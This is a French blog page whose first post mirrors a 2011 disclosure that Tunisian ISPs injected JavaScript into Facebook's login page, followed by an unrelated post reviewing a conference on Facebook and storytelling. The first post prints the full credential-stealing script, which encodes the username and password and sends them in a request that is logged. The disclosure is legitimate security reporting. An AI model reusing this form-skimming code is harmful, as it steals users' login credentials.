Blog d'Emmanuel Istace

La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Posted in Divers, Réseau, Sécurité by Emmanuel Istace on 16 janvier 2011

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index="";window._EagleEyeSeed="w6jw";
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/” />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css” />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css” />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css” />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css” />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script>

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml” title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico” /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png” alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1″ id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=”"/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=”";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=”";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8″); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php” rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=”";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=”";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8″); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

De Facebook au Storytelling,la vérité travestie?

Posted in Divers, Sécurité by Emmanuel Istace on 15 septembre 2010

Je suis tombé par hasard sur cette conférence aujourd’hui. Elle est très intéressante notamment sur le premier point de la quantification de l’identité. Malheureusement, certains sujets sont éludé et d’autre subissent une argumentation un peu aride ce qui les rend assez incompréhensible. Ceci dit, voici quelques points que je trouve très intéressants, ils ne sont pas nouveaux, mais trop peut souvent cité :

Quantification de l’identité.

Mme Fanny George, Docteur en Étude Culturel, fait tout d’abord un constat. Sur facebook, le nombre d’amis, le nombre de commentaire, le nombre d’activités, le nombres d’amis en commun, le nombre d’application téléchargés sont clairement visible. De la elle pose l’hypothèse selon laquelle on quantifierait l’identité d’une personne selon ces données. Cette quantification permettrait alors de faire une sorte de hiérarchie de niveau de sociabilité et de comparer entre nous notre niveau de sociabilité. Par exemple,  Thomas est ami avec Julien et Florence, Julien a 50 amis de plus que Thomas. Thomas le considère donc comme plus sociable que lui. Florence a 10 amis de moins que Thomas, Thomas la considère comme moins sociable. En partant de là, un second comportement peut aussi est décrit à partir des amis commun et celui-ci défini le niveau d’affinité en dehors du niveau de sociabilité. Thomas et Julien ont 10 amis en commun alors que Thomas et Florence ont 20 amis en commun. Thomas se considérera plus proche de Florence. Tout ceci reste une hypothèse car il n’y a pas eu d’étude concrète de ce type de comportement, mais je la trouve, pour voir cela tous les jours, assez juste. Ce comportement n’est juste pas admis ouvertement, mais il a bel et bien lieu.

Je rajouterais quelque chose qui n’est pas explicitement dit.  Pourrait-on imaginer arriver à une sorte de vision marxiste du capitalisme (recherche du profit, accumulation de capital, etc) des liens sociaux ? Facebook s’inscrit déjà dans un mouvement de mondialisation, pourquoi pas un mouvement de « capitalisme social » ? Et se retrouver avec des gens pour qui, avoir et cumuler des « amis » est un but dans une démarche « capitaliste » sans prêter attention à ce qu’apporte normalement une amitié.

Analogie entre StoryTelling et la bible

Le Théologien, Père Antoine Guggenheim, fait une analogie intéressante entre le storytelling et les évangiles. Il lit un passage du deutéronome, qui est un livre de lois et donc un livre dans lequel on ne s’attend pas a du storytelling mais plutôt une longue liste de « Tu dois faire ça ! ».

Lorsque tu sera entré dans le pays que le Seigneur ton dieu te donne.
Tu prendra des prémices de tout les fruits du sol.
Tu ira au lieu choisi par le Seigneur.
Tu viendra vers le prêtre et tu lui dira :
Je déclare aujourd’hui
Mon père était un Armaèen erant
Les 2gyptiens nous maltraitèrent
Nous crimes vers le seigneur
Le Seigneur entendit
Il nous fit sortir d’Égypte
Il nous fit arriver ici
J’apporte les prémices des fruits

Le passage propose au lecteur, non pas de faire ce que dit le texte, mais de faire avec le texte. On nous raconte donc une histoire, à laquelle on adhère ou pas et surtout à laquelle, selon ses convictions l’on peut s’identifier et devenir acteur de cet histoire. On passe donc de la démonstration à la monstration. Le Storytelling n’est donc pas récent. Là où il lie évangile et facebook c’est que facebook (et les systèmes de blog en générale) propose à chacun exactement la même démarche. On a tous une histoire, et cette on peut maintenant la partager a la terre entière facilement. Mais, comme toutes les histoires, vaut-elle la peine d’être transmise ? Est-ce que un certain narcissisme se développe chez l’auteur en disant : « des gens lisent ma vie, ma vie est intéressante, je suis intéressant ». De plus il y a aussi, en dehors de la qualité de l’histoire, la qualité du texte. Les histoire que l’on lisait jusqu’à présent était pour la plupart écrite par des gens dont c’est le métier, qui ont des connaissances et une culture suffisante que pour « bien écrire ». Le fait de lire a longueur de journée de mauvais textes, mais de les considéré comme bon sous prétexte qu’ils retranscrivent une part de la vie de X et qu’il faut respecter son travail, ne va-t-il pas justement faire du tort au « bons textes » ?

Voici les deux points qui m’ont vraiment marqué et que je trouve vraiment intéressant. Le reste l’est mais est plus convenu, ou du moins plus connu car souvent donné dans la plupart des débats et conférences sur le sujet.

Pour le reste, je vous conseille de regarder la vidéo.


De Facebook au Storytelling,la vérité travestie?
envoyé par college-des-bernardins. – Rencontrez plus de personnalités du web.

Suivre

Get every new post delivered to your Inbox.

Joignez-vous à 31 followers